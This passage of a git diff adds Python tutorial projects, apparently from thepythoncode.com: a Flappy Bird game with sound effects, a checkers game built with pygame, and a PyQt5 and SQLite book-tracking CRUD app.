+	def _jump(self):
+		self.direction.y = self.jump_move
+		whoosh = pygame.mixer.Sound("assets/sfx/whoosh.mp3")
+		whoosh.set_volume(0.5)
+		whoosh.play()
+
+	# updates the bird's overall state
+	def update(self, is_jump):
+		if is_jump:
+			self._jump()
+		self._animate()
+		# print(self.score)
\ No newline at end of file
diff --git a/gui-programming/adding-sound-effects-to-games/game.py b/gui-programming/adding-sound-effects-to-games/game.py
new file mode 100644
index 00000000..d2d7e622
--- /dev/null
+++ b/gui-programming/adding-sound-effects-to-games/game.py
@@ -0,0 +1,25 @@
+import pygame
+from settings import WIDTH, HEIGHT
+
+pygame.font.init()
+
+class GameIndicator:
+	def __init__(self, screen):
+		self.screen = screen
+		self.font = pygame.font.SysFont('Bauhaus 93', 60)
+		self.inst_font = pygame.font.SysFont('Bauhaus 93', 30)
+		self.color = pygame.Color("white")
+		self.inst_color = pygame.Color("black")
+
+	def show_score(self, int_score):
+		bird_score = str(int_score)
+		score = self.font.render(bird_score, True, self.color)
+		self.screen.blit(score, (WIDTH // 2, 50))
+
+	def instructions(self):
+		inst_text1 = "Press SPACE button to Jump,"
+		inst_text2 = "Press \"R\" Button to Restart Game."
+		ins1 = self.inst_font.render(inst_text1, True, self.inst_color)
+		ins2 = self.inst_font.render(inst_text2, True, self.inst_color)
+		self.screen.blit(ins1, (95, 400))
+		self.screen.blit(ins2, (70, 450))
diff --git a/gui-programming/adding-sound-effects-to-games/main.py b/gui-programming/adding-sound-effects-to-games/main.py
new file mode 100644
index 00000000..ea83ee54
--- /dev/null
+++ b/gui-programming/adding-sound-effects-to-games/main.py
@@ -0,0 +1,44 @@
+import pygame, sys
+from settings import WIDTH, HEIGHT
+from world import World
+
+pygame.init()
+
+screen = pygame.display.set_mode((WIDTH, HEIGHT))
+pygame.display.set_caption("Flappy Bird")
+
+class Main:
+	def __init__(self, screen):
+		self.screen = screen
+		self.bg_img = pygame.image.load('assets/terrain/bg.png')
+		self.bg_img = pygame.transform.scale(self.bg_img, (WIDTH, HEIGHT))
+		self.FPS = pygame.time.Clock()
+
+	def main(self):
+		pygame.mixer.music.load("assets/sfx/bgm.wav")
+		pygame.mixer.music.play(-1)
+		pygame.mixer.music.set_volume(0.8)
+		world = World(screen)
+		while True:
+			self.screen.blit(self.bg_img, (0, 0))
+
+			for event in pygame.event.get():
+				if event.type == pygame.QUIT:
+					pygame.quit()
+					sys.exit()
+
+				elif event.type == pygame.KEYDOWN:
+					if not world.playing and not world.game_over:
+						world.playing = True
+					if event.key == pygame.K_SPACE:
+						world.update("jump")
+					if event.key == pygame.K_r:
+						world.update("restart")
+
+			world.update()
+			pygame.display.update()
+			self.FPS.tick(60)
+
+if __name__ == "__main__":
+	play = Main(screen)
+	play.main()
diff --git a/gui-programming/adding-sound-effects-to-games/pipe.py b/gui-programming/adding-sound-effects-to-games/pipe.py
new file mode 100644
index 00000000..a66a959b
--- /dev/null
+++ b/gui-programming/adding-sound-effects-to-games/pipe.py
@@ -0,0 +1,21 @@
+import pygame
+
+class Pipe(pygame.sprite.Sprite):
+	def __init__(self, pos, width, height, flip):
+		super().__init__()
+		self.width = width
+		img_path = 'assets/terrain/pipe.png'
+		self.image = pygame.image.load(img_path)
+		self.image = pygame.transform.scale(self.image, (width, height))
+		if flip:
+			flipped_image = pygame.transform.flip(self.image, False, True)
+			self.image = flipped_image
+		self.rect = self.image.get_rect(topleft = pos)
+
+	# update object position due to world scroll
+	def update(self, x_shift):
+		self.rect.x += x_shift
+
+		# removes the pipe in the game screen once it is not shown in the screen anymore
+		if self.rect.right < (-self.width):
+			self.kill()
\ No newline at end of file
diff --git a/gui-programming/adding-sound-effects-to-games/requirements.txt b/gui-programming/adding-sound-effects-to-games/requirements.txt
new file mode 100644
index 00000000..a1cadd9d
--- /dev/null
+++ b/gui-programming/adding-sound-effects-to-games/requirements.txt
@@ -0,0 +1 @@
+pygame==2.5.2
\ No newline at end of file
diff --git a/gui-programming/adding-sound-effects-to-games/settings.py b/gui-programming/adding-sound-effects-to-games/settings.py
new file mode 100644
index 00000000..52cb46a4
--- /dev/null
+++ b/gui-programming/adding-sound-effects-to-games/settings.py
@@ -0,0 +1,25 @@
+WIDTH, HEIGHT = 600, 680
+
+pipe_pair_sizes = [
+	(1, 7),
+	(2, 6),
+	(3, 5),
+	(4, 4),
+	(5, 3),
+	(6, 2),
+	(7, 1)
+]
+pipe_size = HEIGHT // 10
+pipe_gap = (pipe_size * 2) + (pipe_size // 2)
+
+from os import walk
+import pygame
+
+def import_sprite(path):
+	surface_list = []
+	for _, __, img_file in walk(path):
+		for image in img_file:
+			full_path = f"{path}/{image}"
+			img_surface = pygame.image.load(full_path).convert_alpha()
+			surface_list.append(img_surface)
+	return surface_list
\ No newline at end of file
diff --git a/gui-programming/adding-sound-effects-to-games/world.py b/gui-programming/adding-sound-effects-to-games/world.py
new file mode 100644
index 00000000..06712546
--- /dev/null
+++ b/gui-programming/adding-sound-effects-to-games/world.py
@@ -0,0 +1,105 @@
+import pygame
+from pipe import Pipe
+from bird import Bird
+from game import GameIndicator
+from settings import WIDTH, HEIGHT, pipe_size, pipe_gap, pipe_pair_sizes
+import random
+
+class World:
+	def __init__(self, screen):
+		self.screen = screen
+		self.world_shift = 0
+		self.current_x = 0
+		self.gravity = 0.5
+		self.current_pipe = None
+		self.pipes = pygame.sprite.Group()
+		self.player = pygame.sprite.GroupSingle()
+		self._generate_world()
+		self.playing = False
+		self.game_over = False
+		self.passed = True
+		self.game = GameIndicator(screen)
+
+	# creates the player and the obstacle
+	def _generate_world(self):
+		self._add_pipe()
+		bird = Bird((WIDTH//2 - pipe_size, HEIGHT//2 - pipe_size), 30)
+		self.player.add(bird)
+
+	# adds pipe once the last pipe added reached the desired pipe horizontal spaces
+	def _add_pipe(self):
+		pipe_pair_size = random.choice(pipe_pair_sizes)
+		top_pipe_height, bottom_pipe_height = pipe_pair_size[0] * pipe_size, pipe_pair_size[1] * pipe_size
+
+		pipe_top = Pipe((WIDTH, 0 - (bottom_pipe_height + pipe_gap)), pipe_size, HEIGHT, True)
+		pipe_bottom = Pipe((WIDTH, top_pipe_height + pipe_gap), pipe_size, HEIGHT, False)
+		self.pipes.add(pipe_top)
+		self.pipes.add(pipe_bottom)
+		self.current_pipe = pipe_top
+
+	# for moving background/obstacle
+	def _scroll_x(self):
+		if self.playing:
+			self.world_shift = -6
+		else:
+			self.world_shift = 0
+
+	# add gravity to bird for falling
+	def _apply_gravity(self, player):
+		if self.playing or self.game_over:
+			player.direction.y += self.gravity
+			player.rect.y += player.direction.y
+
+	# handles scoring and collision
+	def _handle_collisions(self):
+		bird = self.player.sprite
+		# for collision checking
+		if pygame.sprite.groupcollide(self.player, self.pipes, False, False) or bird.rect.bottom >= HEIGHT or bird.rect.top <= 0:
+			if self.playing:
+				hit = pygame.mixer.Sound("assets/sfx/hit.wav")
+				hit.set_volume(0.7)
+				hit.play()
+				self.playing = False
+			self.game_over = True
+		# for scoring 
+		else:
+			bird = self.player.sprite
+			if bird.rect.x >= self.current_pipe.rect.centerx:
+				bird.score += 1
+				self.passed = True
+
+	# updates the bird's overall state
+	def update(self, player_event = None):
+		# new pipe adder
+		if self.current_pipe.rect.centerx  <= (WIDTH // 2) - pipe_size:
+			self._add_pipe()
+		
+		# updates, draws pipes
+		self.pipes.update(self.world_shift)
+		self.pipes.draw(self.screen)
+
+		# applying game physics
+		self._apply_gravity(self.player.sprite)
+		self._scroll_x()
+		self._handle_collisions()
+
+		# configuring player actions
+		if player_event == "jump" and not self.game_over:
+			player_event = True
+		elif player_event == "restart":
+			self.game_over = False
+			self.pipes.empty()
+			self.player.empty()
+			self.player.score = 0
+			self._generate_world()
+		else:
+			player_event = False
+
+		if not self.playing:
+			self.game.instructions()
+
+		# updates, draws pipes
+		self.player.update(player_event)
+		self.player.draw(self.screen)
+
+		self.game.show_score(self.player.sprite.score)
\ No newline at end of file
diff --git a/gui-programming/checkers-game/Board.py b/gui-programming/checkers-game/Board.py
new file mode 100644
index 00000000..4da2ebb6
--- /dev/null
+++ b/gui-programming/checkers-game/Board.py
@@ -0,0 +1,84 @@
+import pygame
+from Tile import Tile
+from Pawn import Pawn
+
+class Board:
+	def __init__(self,tile_width, tile_height, board_size):
+		self.tile_width = tile_width
+		self.tile_height = tile_height
+		self.board_size = board_size
+		self.selected_piece = None
+
+		self.turn = "black"
+		self.is_jump = False
+
+		self.config = [
+			['', 'bp', '', 'bp', '', 'bp', '', 'bp'],
+			['bp', '', 'bp', '', 'bp', '', 'bp', ''],
+			['', 'bp', '', 'bp', '', 'bp', '', 'bp'],
+			['', '', '', '', '', '', '', ''],
+			['', '', '', '', '', '', '', ''],
+			['rp', '', 'rp', '', 'rp', '', 'rp', ''],
+			['', 'rp', '', 'rp', '', 'rp', '', 'rp'],
+			['rp', '', 'rp', '', 'rp', '', 'rp', '']
+		]
+
+		self.tile_list = self._generate_tiles()
+		self._setup()
+
+	def _generate_tiles(self):
+		output = []
+		for y in range(self.board_size):
+			for x in range(self.board_size):
+				output.append(
+					Tile(x,  y, self.tile_width, self.tile_height)
+				)
+		return output
+
+	def get_tile_from_pos(self, pos):
+		for tile in self.tile_list:
+			if (tile.x, tile.y) == (pos[0], pos[1]):
+				return tile
+
+	def _setup(self):
+		for y_ind, row in enumerate(self.config):
+			for x_ind, x in enumerate(row):
+				tile = self.get_tile_from_pos((x_ind, y_ind))
+				if x != '':
+					if x[-1] == 'p':
+						color = 'red' if x[0] == 'r' else 'black'
+						tile.occupying_piece = Pawn(x_ind, y_ind, color, self)
+
+	def handle_click(self, pos):
+		x, y = pos[0], pos[-1]
+		if x >= self.board_size or y >= self.board_size:
+			x = x // self.tile_width
+			y = y // self.tile_height
+		clicked_tile = self.get_tile_from_pos((x, y))
+
+		if self.selected_piece is None:
+			if clicked_tile.occupying_piece is not None:
+				if clicked_tile.occupying_piece.color == self.turn:
+					self.selected_piece = clicked_tile.occupying_piece
+		elif self.selected_piece._move(clicked_tile):
+			if not self.is_jump:
+				self.turn = 'red' if self.turn == 'black' else 'black'
+			else:
+				if len(clicked_tile.occupying_piece.valid_jumps()) == 0:
+					self.turn = 'red' if self.turn == 'black' else 'black'
+		elif clicked_tile.occupying_piece is not None:
+			if clicked_tile.occupying_piece.color == self.turn:
+				self.selected_piece = clicked_tile.occupying_piece
+
+	def draw(self, display):
+		if self.selected_piece is not None:
+			self.get_tile_from_pos(self.selected_piece.pos).highlight = True
+			if not self.is_jump:
+				for tile in self.selected_piece.valid_moves():
+					tile.highlight = True
+			else:
+				for tile in self.selected_piece.valid_jumps():
+					tile[0].highlight = True
+
+		for tile in self.tile_list:
+			tile.draw(display)
\ No newline at end of file
diff --git a/gui-programming/checkers-game/Game.py b/gui-programming/checkers-game/Game.py
new file mode 100644
index 00000000..39a8bede
--- /dev/null
+++ b/gui-programming/checkers-game/Game.py
@@ -0,0 +1,44 @@
+class Game:
+
+	def __init__(self):
+		self.winner = None
+
+	# checks if both colors still has a piece
+	def check_piece(self, board):
+		red_piece = 0
+		black_piece = 0
+		for y in range(board.board_size):
+			for x in range(board.board_size):
+				tile = board.get_tile_from_pos((x, y))
+				if tile.occupying_piece != None:
+					if tile.occupying_piece.color == "red":
+						red_piece += 1
+					else:
+						black_piece += 1
+		return red_piece, black_piece
+
+	def is_game_over(self, board):
+		red_piece, black_piece = self.check_piece(board)
+		if red_piece == 0 or black_piece == 0:
+			self.winner = "red" if red_piece > black_piece else "black"
+			return True
+		else:
+			return False
+
+	def check_jump(self, board):
+		piece = None
+		for tile in board.tile_list:
+			if tile.occupying_piece != None:
+				piece = tile.occupying_piece
+				if len(piece.valid_jumps()) != 0 and board.turn == piece.color:
+					board.is_jump = True
+					break
+				else:
+					board.is_jump = False
+		if board.is_jump:
+			board.selected_piece = piece
+			board.handle_click(piece.pos)
+		return board.is_jump
+
+	def message(self):
+		print(f"{self.winner} Wins!!")
\ No newline at end of file
diff --git a/gui-programming/checkers-game/King.py b/gui-programming/checkers-game/King.py
new file mode 100644
index 00000000..ef7bb7bf
--- /dev/null
+++ b/gui-programming/checkers-game/King.py
@@ -0,0 +1,47 @@
+import pygame
+from Piece import Piece
+
+class King(Piece):
+	def __init__(self, x, y, color, board):
+		super().__init__(x, y, color, board)
+		img_path = f'images/{color}-king.png'
+		self.img = pygame.image.load(img_path)
+		self.img = pygame.transform.scale(self.img, (board.tile_width, board.tile_height))
+		self.notation = 'k'
+
+	def _possible_moves(self):
+		possible_moves = ((-1, -1), (+1, -1), (-1, +1), (+1, +1))
+		return possible_moves
+
+	def valid_moves(self):
+		tile_moves = []
+		moves = self._possible_moves()
+		for move in moves:
+			tile_pos = (self.x + move[0], self.y + move[-1])
+			if tile_pos[0] < 0 or tile_pos[0] > 7 or tile_pos[-1] < 0 or tile_pos[-1] > 7:
+				pass
+			else:
+				tile = self.board.get_tile_from_pos(tile_pos)
+				if tile.occupying_piece == None:
+					tile_moves.append(tile)
+		return tile_moves
+
+	def valid_jumps(self):
+		tile_jumps = []
+		moves = self._possible_moves()
+		for move in moves:
+			tile_pos = (self.x + move[0], self.y + move[-1])
+			if tile_pos[0] < 0 or tile_pos[0] > 7 or tile_pos[-1] < 0 or tile_pos[-1] > 7:
+				pass
+			else:
+				tile = self.board.get_tile_from_pos(tile_pos)
+				if self.board.turn == self.color:
+					if tile.occupying_piece != None and tile.occupying_piece.color != self.color:
+						next_pos = (tile_pos[0] + move[0], tile_pos[-1] + move[-1])
+						next_tile = self.board.get_tile_from_pos(next_pos)		
+						if next_pos[0] < 0 or next_pos[0] > 7 or next_pos[-1] < 0 or next_pos[-1] > 7:
+							pass
+						else:
+							if next_tile.occupying_piece == None:
+								tile_jumps.append((next_tile, tile))
+		return tile_jumps
\ No newline at end of file
diff --git a/gui-programming/checkers-game/Main.py b/gui-programming/checkers-game/Main.py
new file mode 100644
index 00000000..dc7d9ac6
--- /dev/null
+++ b/gui-programming/checkers-game/Main.py
@@ -0,0 +1,46 @@
+import pygame
+from Board import Board
+from Game import Game
+
+pygame.init()
+
+class Checkers:
+	def __init__(self, screen):
+		self.screen = screen
+		self.running = True
+		self.FPS = pygame.time.Clock()
+
+	def _draw(self, board):
+		board.draw(self.screen)
+		pygame.display.update()
+
+	def main(self, window_width, window_height):
+		board_size = 8
+		tile_width, tile_height = window_width // board_size, window_height // board_size
+		board = Board(tile_width, tile_height, board_size)
+		game = Game()
+		while self.running:
+			game.check_jump(board)
+
+			for self.event in pygame.event.get():
+				if self.event.type == pygame.QUIT:
+					self.running = False
+
+				if not game.is_game_over(board):
+					if self.event.type == pygame.MOUSEBUTTONDOWN:
+						board.handle_click(self.event.pos)
+				else:
+					game.message()
+					self.running = False
+
+			self._draw(board)
+			self.FPS.tick(60)
+
+
+if __name__ == "__main__":
+	window_size = (640, 640)
+	screen = pygame.display.set_mode(window_size)
+	pygame.display.set_caption("Checkers")
+
+	checkers = Checkers(screen)
+	checkers.main(window_size[0], window_size[1])
\ No newline at end of file
diff --git a/gui-programming/checkers-game/Pawn.py b/gui-programming/checkers-game/Pawn.py
new file mode 100644
index 00000000..3550c00c
--- /dev/null
+++ b/gui-programming/checkers-game/Pawn.py
@@ -0,0 +1,51 @@
+import pygame
+from Piece import Piece
+
+class Pawn(Piece):
+	def __init__(self, x, y, color, board):
+		super().__init__(x, y, color, board)
+		img_path = f'images/{color}-pawn.png'
+		self.img = pygame.image.load(img_path)
+		self.img = pygame.transform.scale(self.img, (board.tile_width, board.tile_height))
+		self.notation = 'p'
+
+	def _possible_moves(self):
+		# (x, y) move for left and right
+		if self.color == "red":
+			possible_moves = ((-1, -1), (+1, -1)) 
+		else:
+			possible_moves = ((-1, +1), (+1, +1))
+		return possible_moves
+
+	def valid_moves(self):
+		tile_moves = []
+		moves = self._possible_moves()
+		for move in moves:
+			tile_pos = (self.x + move[0], self.y + move[-1])
+			if tile_pos[0] < 0 or tile_pos[0] > 7 or tile_pos[-1] < 0 or tile_pos[-1] > 7:
+				pass
+			else:
+				tile = self.board.get_tile_from_pos(tile_pos)
+				if tile.occupying_piece == None:
+					tile_moves.append(tile)
+		return tile_moves
+
+	def valid_jumps(self):
+		tile_jumps = []
+		moves = self._possible_moves()
+		for move in moves:
+			tile_pos = (self.x + move[0], self.y + move[-1])
+			if tile_pos[0] < 0 or tile_pos[0] > 7 or tile_pos[-1] < 0 or tile_pos[-1] > 7:
+				pass
+			else:
+				tile = self.board.get_tile_from_pos(tile_pos)
+				if self.board.turn == self.color:
+					if tile.occupying_piece != None and tile.occupying_piece.color != self.color:
+						next_pos = (tile_pos[0] + move[0], tile_pos[-1] + move[-1])
+						next_tile = self.board.get_tile_from_pos(next_pos)		
+						if next_pos[0] < 0 or next_pos[0] > 7 or next_pos[-1] < 0 or next_pos[-1] > 7:
+							pass
+						else:
+							if next_tile.occupying_piece == None:
+								tile_jumps.append((next_tile, tile))
+		return tile_jumps
\ No newline at end of file
diff --git a/gui-programming/checkers-game/Piece.py b/gui-programming/checkers-game/Piece.py
new file mode 100644
index 00000000..3c82a326
--- /dev/null
+++ b/gui-programming/checkers-game/Piece.py
@@ -0,0 +1,56 @@
+import pygame
+
+class Piece:
+	def __init__(self, x, y, color, board):
+		self.x = x
+		self.y = y
+		self.pos = (x, y)
+		self.board = board
+		self.color = color
+
+	def _move(self, tile):
+		for i in self.board.tile_list:
+			i.highlight = False
+
+		if tile in self.valid_moves() and not self.board.is_jump:
+			prev_tile = self.board.get_tile_from_pos(self.pos)
+			self.pos, self.x, self.y = tile.pos, tile.x, tile.y
+
+			prev_tile.occupying_piece = None
+			tile.occupying_piece = self
+			self.board.selected_piece = None
+			self.has_moved = True
+
+			# Pawn promotion
+			if self.notation == 'p':
+				if self.y == 0 or self.y == 7:
+					from King import King
+					tile.occupying_piece = King(
+						self.x, self.y, self.color, self.board
+					)
+			return True
+
+		elif self.board.is_jump:
+			for move in self.valid_jumps():
+				if tile in move:
+					prev_tile = self.board.get_tile_from_pos(self.pos)
+					jumped_piece = move[-1]
+					self.pos, self.x, self.y = tile.pos, tile.x, tile.y
+
+					prev_tile.occupying_piece = None
+					jumped_piece.occupying_piece = None
+					tile.occupying_piece = self
+					self.board.selected_piece = None
+					self.has_moved = True
+
+					# Pawn promotion
+					if self.notation == 'p':
+						if self.y == 0 or self.y == 7:
+							from King import King
+							tile.occupying_piece = King(
+								self.x, self.y, self.color, self.board
+							)
+					return True
+		else:
+			self.board.selected_piece = None
+			return False
\ No newline at end of file
diff --git a/gui-programming/checkers-game/README.md b/gui-programming/checkers-game/README.md
new file mode 100644
index 00000000..c9191191
--- /dev/null
+++ b/gui-programming/checkers-game/README.md
@@ -0,0 +1,4 @@
+# [How to Make a Checkers Game with Pygame in Python](https://www.thepythoncode.com/article/make-a-checkers-game-with-pygame-in-python)
+To run this:
+- `pip3 install -r requirements.txt`
+- `python3 Main.py`
\ No newline at end of file
diff --git a/gui-programming/checkers-game/Tile.py b/gui-programming/checkers-game/Tile.py
new file mode 100644
index 00000000..5e1ad127
--- /dev/null
+++ b/gui-programming/checkers-game/Tile.py
@@ -0,0 +1,41 @@
+import pygame
+
+class Tile:
+	def __init__(self, x, y, tile_width, tile_height):
+		self.x = x
+		self.y = y
+		self.pos = (x, y)
+		self.tile_width = tile_width
+		self.tile_height = tile_height
+		self.abs_x = x * tile_width
+		self.abs_y = y * tile_height
+		self.abs_pos = (self.abs_x, self.abs_y)
+
+		self.color = 'light' if (x + y) % 2 == 0 else 'dark'
+		self.draw_color = (220, 189, 194) if self.color == 'light' else (53, 53, 53)
+		self.highlight_color = (100, 249, 83) if self.color == 'light' else (0, 228, 10)
+
+		self.occupying_piece = None
+		self.coord = self.get_coord()
+		self.highlight = False
+		self.rect = pygame.Rect(
+			self.abs_x,
+			self.abs_y,
+			self.tile_width,
+			self.tile_height
+		)
+
+	def get_coord(self):
+		columns = 'abcdefgh'
+		return columns[self.x] + str(self.y + 1)
+
+	def draw(self, display):
+		if self.highlight:
+			pygame.draw.rect(display, self.highlight_color, self.rect)
+		else:
+			pygame.draw.rect(display, self.draw_color, self.rect)
+
+		if self.occupying_piece != None:
+			centering_rect = self.occupying_piece.img.get_rect()
+			centering_rect.center = self.rect.center
+			display.blit(self.occupying_piece.img, centering_rect.topleft)
\ No newline at end of file
diff --git a/gui-programming/checkers-game/images/black-king.png b/gui-programming/checkers-game/images/black-king.png
new file mode 100644
index 00000000..b4e8e557
Binary files /dev/null and b/gui-programming/checkers-game/images/black-king.png differ
diff --git a/gui-programming/checkers-game/images/black-pawn.png b/gui-programming/checkers-game/images/black-pawn.png
new file mode 100644
index 00000000..35992cf2
Binary files /dev/null and b/gui-programming/checkers-game/images/black-pawn.png differ
diff --git a/gui-programming/checkers-game/images/red-king.png b/gui-programming/checkers-game/images/red-king.png
new file mode 100644
index 00000000..17468138
Binary files /dev/null and b/gui-programming/checkers-game/images/red-king.png differ
diff --git a/gui-programming/checkers-game/images/red-pawn.png b/gui-programming/checkers-game/images/red-pawn.png
new file mode 100644
index 00000000..7724b8d4
Binary files /dev/null and b/gui-programming/checkers-game/images/red-pawn.png differ
diff --git a/gui-programming/checkers-game/requirements.txt b/gui-programming/checkers-game/requirements.txt
new file mode 100644
index 00000000..231dd178
--- /dev/null
+++ b/gui-programming/checkers-game/requirements.txt
@@ -0,0 +1 @@
+pygame
\ No newline at end of file
diff --git a/gui-programming/crud-app-pyqt5/README.md b/gui-programming/crud-app-pyqt5/README.md
new file mode 100644
index 00000000..45763138
--- /dev/null
+++ b/gui-programming/crud-app-pyqt5/README.md
@@ -0,0 +1 @@
+# [How to Build a CRUD App with PyQt5 and SQLite3 in Python](https://thepythoncode.com/article/build-a-crud-app-using-pyqt5-and-sqlite3-in-python)
\ No newline at end of file
diff --git a/gui-programming/crud-app-pyqt5/db.py b/gui-programming/crud-app-pyqt5/db.py
new file mode 100644
index 00000000..d00b26d6
--- /dev/null
+++ b/gui-programming/crud-app-pyqt5/db.py
@@ -0,0 +1,72 @@
+import sqlite3
+import datetime
+
+
+def create_table():
+    db = sqlite3.connect('database.db')
+    query = """
+    CREATE TABLE if not exists BOOKS
+    (ID INTEGER PRIMARY KEY AUTOINCREMENT,
+    NAME TEXT NOT NULL,
+    CREATED_AT DATETIME default current_timestamp,
+    COMPLETED_AT DATATIME 
+    )
+    """
+    cur = db.cursor()
+    cur.execute(query)
+    db.close()
+
+
+create_table()
+
+
+def insert_book(name,  completed_at):
+    db = sqlite3.connect('database.db')
+    query = """
+    INSERT INTO BOOKS(NAME, COMPLETED_AT)
+
+    VALUES (?,?)
+    """
+
+    cur = db.cursor()
+    cur.execute(query, (name, completed_at))
+    db.commit()
+    db.close()
+    print('completed')
+
+
+def get_all_books():
+    db = sqlite3.connect('database.db')
+    statement = 'SELECT id, name, completed_at FROM BOOKS'
+    cur = db.cursor()
+    items_io = cur.execute(statement)
+    item_lst = [i for i in items_io]
+    return item_lst
+
+
+# insert_book('Time, fast or slow', datetime.datetime.now())
+
+def add_book(self):
+    title = self.title_input.text()
+    if title:
+        cursor.execute("INSERT INTO books (title) VALUES (?)", (title,))
+        conn.commit()
+        self.title_input.clear()
+        self.load_books()
+
+
+def delete_book(book_id):
+    # Connect to the SQLite database
+    db = sqlite3.connect('database.db')
+
+    # Define the SQL query to delete a book with a specific ID
+    query = "DELETE FROM books WHERE id = ?"
+
+    # Execute the query with the provided book ID as a parameter
+    db.execute(query, (book_id,))
+
+    # Commit the changes to the database
+    db.commit()
+
+    # Close the database connection
+    db.close()
diff --git a/gui-programming/crud-app-pyqt5/main.py b/gui-programming/crud-app-pyqt5/main.py
new file mode 100644
index 00000000..277e0159
--- /dev/null
+++ b/gui-programming/crud-app-pyqt5/main.py
@@ -0,0 +1,128 @@
+from PyQt5.QtWidgets import (QApplication, QMainWindow, QVBoxLayout, QScrollArea,
+                             QLineEdit, QFormLayout, QHBoxLayout, QFrame, QDateEdit,
+                             QPushButton, QLabel, QListWidget, QDialog, QAction, QToolBar)
+from PyQt5.QtCore import Qt
+
+from datetime import datetime
+from db import (get_all_books, create_table, insert_book, delete_book)
+
+
+class CreateRecord(QFrame):
+    def __init__(self, main_window):
+        super().__init__()
+        self.main_window = main_window  # Pass a reference to the main window
+
+        self.date_entry = QDateEdit()
+        self.book_name = QLineEdit()
+        self.book_name.setPlaceholderText('Book name')
+        self.add_button = QPushButton(text="Add Book")
+        # Connect the button to add_book function
+        self.add_button.clicked.connect(self.add_book)
+
+        layout = QVBoxLayout(self)
+        layout.addWidget(QLabel('Book Name:'))
+        layout.addWidget(self.book_name)
+        layout.addWidget(QLabel('Completed Date:'))
+        layout.addWidget(self.date_entry)
+        layout.addWidget(self.add_button)
+
+    def add_book(self):
+        book_name = self.book_name.text()
+        completed_date = self.date_entry.date().toString("yyyy-MM-dd")
+
+        if book_name:
+            insert_book(book_name, completed_date)
+            # Reload the book collection after adding a book
+            self.main_window.load_collection()
+            self.book_name.clear()  # Clear the input field
+
+
+class BookCard(QFrame):
+    def __init__(self, book_id, bookname, completed_date):
+        super().__init__()
+        self.setStyleSheet(
+            'background:white; border-radius:4px; color:black;'
+        )
+        self.setFixedHeight(110)
+        self.book_id = book_id
+        layout = QVBoxLayout()
+        label = QLabel(f'<strong>{bookname}</strong>')
+
+        # Update the format string here
+        parsed_datetime = datetime.strptime(completed_date, "%Y-%m-%d")
+        formatted_datetime = parsed_datetime.strftime("%Y-%m-%d")
+
+        date_completed = QLabel(f"Completed {formatted_datetime}")
+        delete_button = QPushButton(
+            text='Delete', clicked=self.delete_book_click)
+        # delete_button.setFixedWidth(60)
+        delete_button.setStyleSheet('background:red; padding:4px;')
+
+        layout.addWidget(label)
+        layout.addWidget(date_completed)
+        layout.addWidget(delete_button)
+        layout.addStretch()
+        self.setLayout(layout)
+
+    def delete_book_click(self):
+        delete_book(self.book_id)
+        self.close()
+
+
+class Main(QMainWindow):
+    def __init__(self):
+        super().__init__()
+        self.initUI()
+        self.load_collection()
+
+    def initUI(self):
+        self.main_frame = QFrame()
+        self.main_layout = QVBoxLayout(self.main_frame)
+
+        # add register widget
+        # Pass a reference to the main window
+        self.register_widget = CreateRecord(self)
+        self.main_layout.addWidget(self.register_widget)
+
+        books_label = QLabel('Completed Books')
+        books_label.setStyleSheet('font-size:18px;')
+        self.main_layout.addWidget(books_label)
+        self.book_collection_area()
+
+        self.setCentralWidget(self.main_frame)
+
+    def book_collection_area(self):
+        scroll_frame = QFrame()
+        self.book_collection_layout = QVBoxLayout(scroll_frame)
+
+        scroll = QScrollArea()
+        scroll.setWidgetResizable(True)
+        scroll.setWidget(scroll_frame)
+        scroll.setStyleSheet('QScrollArea{border:0px}')
+
+        self.book_collection_layout.addStretch()
+        self.main_layout.addWidget(scroll)
+
+    def load_collection(self):
+        # Clear existing book cards before reloading
+        for i in reversed(range(self.book_collection_layout.count())):
+            widget = self.book_collection_layout.itemAt(i).widget()
+            if widget is not None:
+                widget.deleteLater()
+
+        collections = get_all_books()
+        for collection in collections:
+            frame = BookCard(*collection)
+            self.book_collection_layout.insertWidget(0, frame)
+
+
+def main():
+    app = QApplication([])
+    app.setStyle('fusion')
+    win = Main()
+    win.show()
+    app.exec_()
+
+
+if __name__ == '__main__':
+    main()
diff --git a/gui-programming/crud-app-pyqt5/requirements.txt b/gui-programming/crud-app-pyqt5/requirements.txt
new file mode 100644
index 00000000..300ea5c9
--- /dev/null
+++ b/gui-programming/crud-app-pyqt5/requirements.txt
@@ -0,0 +1 @@
+pyqt5
diff --git a/gui-programming/flappy-bird-game/README.md b/gui-programming/flappy-bird-game/README.md
new file mode 100644
index 00000000..5bcb2419
--- /dev/null
+++ b/gui-programming/flappy-bird-game/README.md
@@ -0,0 +1 @@
+# [How to Make a Flappy Bird Game in Python](https://thepythoncode.com/article/make-a-flappy-bird-game-python)
\ No newline at end of file
diff --git a/gui-programming/flappy-bird-game/assets/bird/0.png b/gui-programming/flappy-bird-game/assets/bird/0.png
new file mode 100644
index 00000000..cc0c1f20
Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/bird/0.png differ
diff --git a/gui-programming/flappy-bird-game/assets/bird/1.png b/gui-programming/flappy-bird-game/assets/bird/1.png
new file mode 100644
index 00000000..73e9592a
Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/bird/1.png differ
diff --git a/gui-programming/flappy-bird-game/assets/bird/2.png b/gui-programming/flappy-bird-game/assets/bird/2.png
new file mode 100644
index 00000000..d89bb79b
Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/bird/2.png differ
diff --git a/gui-programming/flappy-bird-game/assets/terrain/bg.png b/gui-programming/flappy-bird-game/assets/terrain/bg.png
new file mode 100644
index 00000000..0c6b138c
Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/terrain/bg.png differ
diff --git a/gui-programming/flappy-bird-game/assets/terrain/ground.png b/gui-programming/flappy-bird-game/assets/terrain/ground.png
new file mode 100644
index 00000000..70105cb5
Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/terrain/ground.png differ
diff --git a/gui-programming/flappy-bird-game/assets/terrain/pipe.png b/gui-programming/flappy-bird-game/assets/terrain/pipe.png
new file mode 100644
index 00000000..03e3e82c
Binary files /dev/null and b/gui-programming/flappy-bird-game/assets/terrain/pipe.png differ
diff --git a/gui-programming/flappy-bird-game/bird.py b/gui-programming/flappy-bird-game/bird.py
new file mode 100644
index 00000000..c5ad5e89
--- /dev/null
+++ b/gui-programming/flappy-bird-game/bird.py
@@ -0,0 +1,42 @@
+import pygame
+from settings import import_sprite
+
+class Bird(pygame.sprite.Sprite):
+	def __init__(self, pos, size):
+		super().__init__()
+		# bird basic info
+		self.frame_index = 0
+		self.animation_delay = 3
+		self.jump_move = -9
+
